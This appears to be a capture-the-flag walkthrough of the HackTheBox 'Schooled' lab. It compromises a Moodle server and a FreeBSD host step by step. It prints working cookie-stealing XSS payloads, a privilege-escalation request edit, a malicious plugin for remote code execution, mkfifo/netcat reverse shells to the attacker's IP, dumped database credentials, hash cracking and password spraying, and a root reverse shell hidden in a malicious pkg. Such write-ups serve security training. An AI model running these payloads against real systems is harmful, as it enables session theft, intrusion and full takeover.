HackTheBox - Schooled

HackTheBox - Schooled

Schooled features an instance of Moodle, a popular LMS used by many school institutions. The installed Moodle version is vulnerable to stored XSS in MoodleNet Profile (CVE-2020-25627) and role privilege escalation (CVE-2020-14321). Exploiting the XSS allows me to login as a teacher. The teacher role can be escalated to a manager role to get the site administration capability, thus allowing me to install a malicious plugin to gain interactive shell access to the system. Internal enumeration reveals database credentials which can be used to recover a password from the database. The password is reused by one of the users for SSH login. This user is allowed to install FreeBSD packages with sudo permissions, and it can be exploited to gain root access.

Skills Learned

  • Stealing cookie with XSS
  • Moodle exploitation
  • Sudo exploitation on pkg

Tools

  • Nmap
  • Burp Suite

Reconnaissance

Nmap

A full scan with nmap discovers three open ports: SSH on 22, an Apache web server on port 80 and a service that nmap identifies it as mysqlx.

→ root@kali «schooled» «10.10.14.49» 
$ nmap -p- --max-rate 1000 -sV --reason -oA nmap/10-tcp-allport-schooled 10.10.10.234
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-17 14:34 EDT
Nmap scan report for 10.10.10.234
Host is up, received reset ttl 63 (0.045s latency).
Not shown: 65532 closed ports
Reason: 65532 resets
PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 63 OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
80/tcp    open  http    syn-ack ttl 63 Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
33060/tcp open  mysqlx? syn-ack ttl 63
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.80%I=7%D=5/17%Time=60A2BA63%P=x86_64-pc-linux-gnu%r(N
...[SNIP]...
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 801.40 seconds

Enumeration

TCP 80 - schooled.htb

Port 80 serving a homepage of a school institution.

image-20210518035709619

In the About section, it states that this school has an online learning system using Moodle.

image-20210518041407775

The Teachers section displays the teachers of the school. This can be useful for generating username list.

image-20210518035931687

On the Contact section, there is an input form. The form submit button points to /contact.php, but it returns with 404.

At the bottom of the site, it reveals an email address and a domain name: schooled.htb.

image-20210518035750397

I will update my /etc/hosts with that domain name.

→ root@kali «schooled» «10.10.14.49» 
$ echo '10.10.10.237 schooled.htb' >> /etc/hosts/

Poking back the site with curl using its domain name reveals that it’s the same site.

→ root@kali «schooled» «10.10.14.49» 
$  curl -s http://10.10.10.234/ | wc -c
20750
→ root@kali «schooled» «10.10.14.49» 
$ curl -s http://schooled.htb/ | wc -c
20750

Subdomain Fuzz

Enumerating subdomain using gobuster reveals that there is one called moodle.schooled.htb.

→ root@kali «schooled» «10.10.14.49» 
$ gobuster vhost -u 'http://schooled.htb/' -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://schooled.htb/
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2021/05/17 17:11:00 Starting gobuster in VHOST enumeration mode
===============================================================
Found: moodle.schooled.htb (Status:  200) [Size: 84]

I will update /etc/hosts again.

→ root@kali «schooled» «10.10.14.49» 
$ echo '10.10.10.237 schooled.htb moodle.schooled.htb'

And it’s different site.

→ root@kali «schooled» «10.10.14.49» 
$ curl -s http://moodle.schooled.htb/ | wc -c && curl -s http://schooled.htb | wc -c
84
20750

TCP 80 - moodle.schooled.htb

Heading to moodle.schooled.htb shows that it’s Moodle LMS, and there are four courses available here.

image-20210518171919132

It allows guest login, but nothing much I can do with that, so I will just register an account.

Account Register

To register an account I have to use the domain student.schooled.htb.

image-20210518173537504

I will change my email domain and login afterwards.

When I visit the domain student.schooled.htb, it returns the same site as schooled.htb.

Enroll course

Based on the login activity, Manuel Phillips is the only teacher that seems to be active. So I will enroll to his course (it allows self-enroll).

image-20210518174336502

On the Mathematics course, there are two announcements .

image-20210518175011420

The oldest announcement by Jamie Borham is just a welcome message and the other titled “Reminder for joining students” by Manuel Phillips is a reminder for the students to set their MoodleNet profiles.

image-20210518175100601

The “MoodleNet profile” that Manuel Phillips was talking about can be found at Dashboard -> Preferences -> User account -> Edit profile .

image-20210518183135218

Finding Vulnerabilities

Exploit-DB

At that time, I didn’t know how to determine the Moodle version, so I started to search the Moodle vulnerabilities on Exploit-DB using keyword Moodle and sorted the results by latest, here are some potential public exploits I found:

  • Moodle 3.10.3 - ‘url’ Persistent Cross Site Scripting => Need a teacher or an administrator or a manager role.
  • Moodle 3.10.3 - ’label’ Persistent Cross Site Scripting => Worth to try.

image-20210518183748916

Moodle Security

The other place to look for the Moodle vulnerabilities/security issues is on https://moodle.org/security/. In there, I find one stored XSS that seems interesting because it contains “moodlenetprofile” in its title.

image-20210518220404280

Another one that looks promising is the privilege escalation from the teacher role into manager role.

image-20210520020814806

Foothold

Access as Manuel Phillips

Moodle CVE-2020-25627 - Stored XSS via MoodleNet profile

From the previous enumeration, I remember that Phillips mentioned ‘MoodleNet profile’, which actually the hint to the stored XSS (CVE-2020-25627) vulnerability affected the MoodleNet profile. XSS attack is typically used to steal a user cookie session. So in this case, I’m going to steal Manuel Phillips’s cookie.

First, I will setup a netcat listener on port 80, then I will edit my MoodleNet profile (Dashboard > Preferences > User account > Edit profile > MoodleNet profile) and change its value to the following payload:

<script> iamf = new Image(); iamf.src='http://10.10.14.49/?iamf='+document.cookie;</script>

Or this one:

<script>document.write('<img src="http://10.10.14.49/?iamf=' + document.cookie + '" />')</script>

image-20210520012522733

After a few minutes, there is a request coming to my listener:

→ root@kali «exploits» «10.10.14.49» 
$ nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.14.49] from (UNKNOWN) [10.10.10.234] 26076
GET /?iamf=MoodleSession=40mch0eki9ko6kpe03kq36cd97 HTTP/1.1
Host: 10.10.14.49
User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://moodle.schooled.htb/moodle/user/profile.php?id=33

I will update my MoodleSession to the one I obtained from XSS.

image-20210520013212895

When I refresh the page, I’m now logged in as Manuel Phillips.

image-20210915212643838

Now I can confirm that this Moodle version is 3.9 by visiting http://moodle.schooled.htb/moodle/user/view.php?id=24&course=5.

image-20210915213438687

Shell as www-data

Moodle CVE-2020-14321 - Teacher role -> Manager role

This Moodle version is known to be vulnerable to the role privilege escalation (CVE-2020-14321) that allows escalation of privilege from teacher role (Manuel Phillips has teacher role) to manager role. With manager role, it is also possible to obtain code execution by installing a malicious plugin. I will be using this walkthrough video created by the researcher who found this vulnerability as my reference.

The first step is to join a teacher to my course.

image-20210520022325198

I will choose Jamie Borham and enroll it to my course.

image-20210520022826655

I will intercept the enroll request using Burp Suite and modify the userslist parameter to 24 (UserID of Phillips) then the roletoassign parameter to 1.

image-20210520023902707

On the course participants, I can see the manager role has been assigned to Phillips.

image-20210915214751404

With manager role, I have the ability to impersonate my participants (they have to be on my course first) using “Login as” function. For example:

image-20210520032135611

When I logged in as Lianne Carter, there is another menu called “Site Administration”.

image-20210915221840588

Malicious Plugin

Now to get RCE, I need to grant full permissions to manager role (from my understanding, Lianne Carter has site administrative capability and manager role).

I will head to Site Administration -> Users -> Define roles -> Manager -> Edit to grant full permission to manager role.

image-20210915222952344

Then I will just click on Save changes button and intercept its request.

image-20210915223616445

Except the sesskey parameter, I will change all the parameters with this PoC.

image-20210915223955951

Now I can install a malicious plugin by accessing Site Administration -> Plugins -> Install plugins.

image-20210915224410922

I will grab the malicious plugin from this repository: https://github.com/HoangKien1020/Moodle_RCE.

image-20210915225327871

I will just continue on the installation process.

image-20210915230537390

Once the plugin is installed, it can be accessed at http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=[command]:

image-20210520034807810

Reverse Shell

Since it’s FreeBSD, I will use the mkfifo payload to get a foothold.

mkfifo /tmp/lol;nc 10.10.14.49 53 0</tmp/lol | /bin/sh -i 2>&1 | tee /tmp/lol

On my listener:

image-20210520041503270

I will upgrade my shell.

$ /usr/local/bin/python3 -c "import pty;pty.spawn('/bin/sh')"
$ export TERM=xterm
export TERM=xterm
$ which stty
which stty
/bin/stty
$ ^Z
[1]  + 4974 suspended  nc -nvlp 53
→ root@kali «exploits» «10.10.14.49» 
$ stty raw -echo; fg
[1]  + 4974 continued  nc -nvlp 53

$ ls -l
total 0
$ ls -la
total 0
$ pwd
/usr/local/www/apache24/data/moodle/blocks/rce/lang/en

Privilege Escalation

Shell as jamie

Enumeration

There are two users other than root who have a login shell: jamie and steve.

$ cat /etc/passwd | grep sh$
root:*:0:0:Charlie &:/root:/bin/csh
jamie:*:1001:1001:Jamie:/home/jamie:/bin/sh
steve:*:1002:1002:User &:/home/steve:/bin/csh
$ ls -l /home/
total 17
drwx------  2 jamie  jamie  11 Feb 28 18:13 jamie
drwx------  5 steve  steve  14 Mar 17 14:05 steve

The Moodle configuration file is located under /usr/local/www/apache24/data/moodle, and it contains database credentials.

$ cat config.php 
<?php  // Moodle configuration file

unset($CFG);
global $CFG;
$CFG = new stdClass();

$CFG->dbtype    = 'mysqli';
$CFG->dblibrary = 'native';
$CFG->dbhost    = 'localhost';
$CFG->dbname    = 'moodle';
$CFG->dbuser    = 'moodle';
$CFG->dbpass    = 'PlaybookMaster2020';
$CFG->prefix    = 'mdl_';
$CFG->dboptions = array (
  'dbpersist' => 0,
  'dbport' => 3306,
  'dbsocket' => '',
  'dbcollation' => 'utf8_unicode_ci',
);

$CFG->wwwroot   = 'http://moodle.schooled.htb/moodle';
$CFG->dataroot  = '/usr/local/www/apache24/moodledata';
$CFG->admin     = 'admin';

$CFG->directorypermissions = 0777;

require_once(__DIR__ . '/lib/setup.php');

// There is no php closing tag in this file,
// it is intentional because it prevents trailing whitespace problems!

MySQL

MySQL binary cannot be resolved, but it’s available at /usr/local/bin.

$ /usr/local/bin/mysql moodle -u moodle -p'PlaybookMaster2020'
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 7517
Server version: 8.0.23 Source distribution

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

moodle@localhost [moodle]> 

Table mdl_users holds all the Moodle user credentials.

moodle@localhost [moodle]> select username,password from mdl_user;
+-------------------+--------------------------------------------------------------+
| username          | password                                                     |
+-------------------+--------------------------------------------------------------+
| guest             | $2y$10$u8DkSWjhZnQhBk1a0g1ug.x79uhkx/sa7euU8TI4FX4TCaXK6uQk2 |
| admin             | $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW |
...[SNIP]...
| iamf              | $2y$10$GTtFW8Rpm8jnLJ1YmpTBy.rmhwTjdWfc9mR6/jC87WtvCK6CgVOXy |
+-------------------+--------------------------------------------------------------+
33 rows in set (0.00 sec)

moodle@localhost [moodle]> 

There are a lot of hashes to recover, but I will focus on the admin hash first.

Hash crack

Hashcat recovers the admin password to !QAZ2wsx.

$ hashcat.exe -m 3200 '$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW:' rockyou.txt

...[SNIP]...
$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW:!QAZ2wsx

Session..........: hashcat
Status...........: Cracked
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5G...l4qTiW
Time.Started.....: Thu May 20 05:04:20 2021 (1 min, 25 secs)
Time.Estimated...: Thu May 20 05:05:45 2021 (0 secs)
Guess.Base.......: File (../rockyou.txt)
...[SNIP]...

Password Spray

With password spray attack, it reveals that the password is reused by user jamie for SSH login.

→ root@kali «schooled» «10.10.14.49» 
$ crackmapexec ssh 10.10.10.234 -u users.list -p passwords.list --continue-on-success
SSH         10.10.10.234    22     10.10.10.234     [*] SSH-2.0-OpenSSH_7.9 FreeBSD-20200214
SSH         10.10.10.234    22     10.10.10.234     [-] root:PlaybookMaster2020 Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH         10.10.10.234    22     10.10.10.234     [-] root:!QAZ2wsx Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH         10.10.10.234    22     10.10.10.234     [-] jamie:PlaybookMaster2020 Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH         10.10.10.234    22     10.10.10.234     [+] jamie:!QAZ2wsx 
SSH         10.10.10.234    22     10.10.10.234     [-] steve:PlaybookMaster2020 Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH         10.10.10.234    22     10.10.10.234     [-] steve:!QAZ2wsx Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']

SSH

Now I can login as jamie via SSH.

→ root@kali «schooled» «10.10.14.49» 
$ ssh jamie@10.10.10.234
Password for jamie@Schooled:
Last login: Tue Mar 16 14:44:53 2021 from 10.10.14.5
FreeBSD 13.0-BETA3 (GENERIC) #0 releng/13.0-n244525-150b4388d3b: Fri Feb 19 04:04:34 UTC 2021

...[SNIP]...

jamie@Schooled:~ $ id
uid=1001(jamie) gid=1001(jamie) groups=1001(jamie),0(wheel)

Shell as root

Enumeration

User jamie is allowed to run sudo on pkg binary.

jamie@Schooled:~ $ sudo -l
User jamie may run the following commands on Schooled:
    (ALL) NOPASSWD: /usr/sbin/pkg update
    (ALL) NOPASSWD: /usr/sbin/pkg install *

According to GTFObins, this can be abused to install malicious FreeBSD package, but fpm has to be installed first.

Installing a Malicious Package

Using reference from GTFOBins, I can create a malicious package that contains a reverse shell

→ root@kali «exploits» «10.10.14.49»
$ TF=$(mktemp -d); echo 'mkfifo /tmp/lol;nc 10.10.14.49 53 0</tmp/lol | /bin/sh -i 2>&1 | tee /tmp/lol' > $TF/x.sh;fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF
DEPRECATION NOTICE: XZ::StreamWriter#close will automatically close the wrapped IO in the future. Use #finish to prevent that.
/var/lib/gems/2.5.0/gems/ruby-xz-0.2.3/lib/xz/stream_writer.rb:185:in `initialize'
        /var/lib/gems/2.5.0/gems/fpm-1.12.0/lib/fpm/package/freebsd.rb:85:in `new'
        /var/lib/gems/2.5.0/gems/fpm-1.12.0/lib/fpm/package/freebsd.rb:85:in `block in output'
        /var/lib/gems/2.5.0/gems/fpm-1.12.0/lib/fpm/package/freebsd.rb:84:in `open'
        /var/lib/gems/2.5.0/gems/fpm-1.12.0/lib/fpm/package/freebsd.rb:84:in `output'
        /var/lib/gems/2.5.0/gems/fpm-1.12.0/lib/fpm/command.rb:487:in `execute'
        /var/lib/gems/2.5.0/gems/clamp-1.0.1/lib/clamp/command.rb:68:in `run'
        /var/lib/gems/2.5.0/gems/fpm-1.12.0/lib/fpm/command.rb:574:in `run'
        /var/lib/gems/2.5.0/gems/clamp-1.0.1/lib/clamp/command.rb:133:in `run'
        /var/lib/gems/2.5.0/gems/fpm-1.12.0/bin/fpm:7:in `<top (required)>'
        /usr/local/bin/fpm:23:in `load'
        /usr/local/bin/fpm:23:in `<main>'
Created package {:path=>"x-1.0.txz"}

I will transfer the package to Schooled.

→ root@kali «exploits» «10.10.14.49»
$ $(bash -c 'cat x-1.0.txz > /dev/tcp/10.10.10.234/9000')

/dev/tcp/ is a feature from Bash. Since my shell is Zsh, so I had to invoke the transfer command within a subshell.

On Schooled:

jamie@Schooled:~ $ nc -lv 9000 > x-1.0.txz
Connection from 10.10.14.49 60744 received!

I will setup a Netcat listener on my Kali and start the installation of the package on Schooled.

jamie@Schooled:~ $ sudo pkg install -y --no-repo-update ./x-1.0.txz
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database
pkg: Repository FreeBSD cannot be opened. 'pkg update' required
Checking integrity... done (0 conflicting)
The following 1 package(s) will be affected (of 0 checked):

New packages to be INSTALLED:
        x: 1.0

Number of packages to be installed: 1
[1/1] Installing x-1.0...
...[SNIP]...

And I’m rooted.

→ root@kali «exploits» «10.10.14.49»
$ nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.14.49] from (UNKNOWN) [10.10.10.234] 23093
# whoami && id && hostname && cut -c-15 /root/root.txt
root
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
Schooled
2462d8e2125d2a0

References